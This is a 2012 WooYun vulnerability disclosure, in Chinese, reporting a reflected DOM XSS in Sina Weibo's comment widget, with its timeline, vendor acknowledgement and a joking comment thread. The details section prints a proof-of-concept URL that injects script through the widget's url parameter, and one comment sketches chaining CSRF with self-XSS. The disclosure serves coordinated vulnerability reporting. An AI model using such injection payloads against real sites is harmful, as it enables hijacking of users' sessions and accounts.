新浪微博反射型XSS,bypass 各种浏览器xss保护

漏洞概要

缺陷编号:WooYun-2012-016476

漏洞标题:新浪微博反射型XSS,bypass 各种浏览器xss保护

相关厂商:新浪

漏洞作者:Cryin

提交时间:2012-12-25 14:31

公开时间:2013-02-08 14:32

漏洞类型:XSS 跨站脚本攻击

危害等级:低

自评Rank:1

漏洞状态:厂商已经确认

Tags标签:

漏洞详情

披露状态:

2012-12-25: 细节已通知厂商并且等待厂商处理中
2012-12-25: 厂商已经确认,细节仅向厂商公开
2013-01-04: 细节向核心白帽子及相关领域专家公开
2013-01-14: 细节向普通白帽子公开
2013-01-24: 细节向实习白帽子公开
2013-02-08: 细节向公众公开

简要描述:

微博评论箱DOM XSS....

详细说明:

源自一个历史修复不靠谱的漏洞 :WooYun: 新浪微博评论箱xsshttp://widget.weibo.com/distribution/comments.php?width=1000&url=test',%20'']);alert('Cryin');SUDA.push(['setGatherInfo',%20'',%20'w&border=2&dpc=1

漏洞证明:

修复方案:

你懂

漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2012-12-25 21:40

厂商回复:

多谢提供,相关人员已经在修复了。

最新状态:

暂无

评价

  1. 2010-01-01 00:00 xsser 白帽子 | Rank:152 漏洞数:17)

    噗嗤~

  2. 2010-01-01 00:00 Coody 白帽子 | Rank:1303 漏洞数:118)

    噗嗤~

  3. 2010-01-01 00:00 鬼魅羊羔 白帽子 | Rank:274 漏洞数:36)

    噗嗤~

  4. 2010-01-01 00:00 小胖胖要减肥 白帽子 | Rank:492 漏洞数:66)

    啪啪啪

  5. 2010-01-01 00:00 鬼魅羊羔 白帽子 | Rank:274 漏洞数:36)

    @小胖胖要减肥 啪啪你妹啊,跟上队形多好。。

  6. 2010-01-01 00:00 小胖胖要减肥 白帽子 | Rank:492 漏洞数:66)

    @鬼魅羊羔 我不识字以为是你们在啪啪啪

  7. 2010-01-01 00:00 Cryin 白帽子 | Rank:22 漏洞数:5)

    话说wooyun怎么能随意修改漏洞标题信息和描述呢!!!!!标题有必要这么嚣张么!

  8. 2010-01-01 00:00 鬼魅羊羔 白帽子 | Rank:274 漏洞数:36)

    @Cryin 漏洞的真假和危害程度,是根据漏洞的内容来决定的,不是标题,So...就算起一个秒杀地球,也无所谓。。不会影响到漏洞本身的影响和危害性。。

  9. 2010-01-01 00:00 小胖胖要减肥 白帽子 | Rank:492 漏洞数:66)

    @Cryin 说明剑总对你的肯定啊

  10. 2010-01-01 00:00 鬼魅羊羔 白帽子 | Rank:274 漏洞数:36)

    @Cryin 你就不要纠结这个标题问题了,剑总看中了你的菊花,你就从了吧。。

  11. 2010-01-01 00:00 xsser 白帽子 | Rank:152 漏洞数:17)

    @小胖胖要减肥 @Cryin 不是我,是管理员童鞋对这个的技术肯定,因为的确绕过了浏览器的防护,一个案例啊

  12. 2010-01-01 00:00 鬼魅羊羔 白帽子 | Rank:274 漏洞数:36)

    @xsser 你都这么说了,看来很值得期待。。。

  13. 2010-01-01 00:00 xsser 白帽子 | Rank:152 漏洞数:17)

    @鬼魅羊羔 也不一定啊.. 不要失望

  14. 2010-01-01 00:00 鬼魅羊羔 白帽子 | Rank:274 漏洞数:36)

    @xsser 期望的越少,失望就越小,俺只是学思路的。。哈哈

  15. 2010-01-01 00:00 小胖胖要减肥 白帽子 | Rank:492 漏洞数:66)

    @鬼魅羊羔 昨天找了个网站有个不错的思路,有些地方不是只能x自己么,可以构造csrf,让对方x自己,然后x了之后他又必须去访问那个地方

  16. 2010-01-01 00:00 鬼魅羊羔 白帽子 | Rank:274 漏洞数:36)

    @小胖胖要减肥 腾讯的?我也找到了一个,已经测试可用,影响很大哈,正在玩,过几天提交。。

  17. 2010-01-01 00:00 小胖胖要减肥 白帽子 | Rank:492 漏洞数:66)

    @鬼魅羊羔 不是 没空找腾讯的 下载了神器都没时间用 你没事就挖企鹅啊

  18. 2010-01-01 00:00 se55i0n 白帽子 | Rank:1483 漏洞数:156)

    @小胖胖要减肥 神马神器,共享下呗~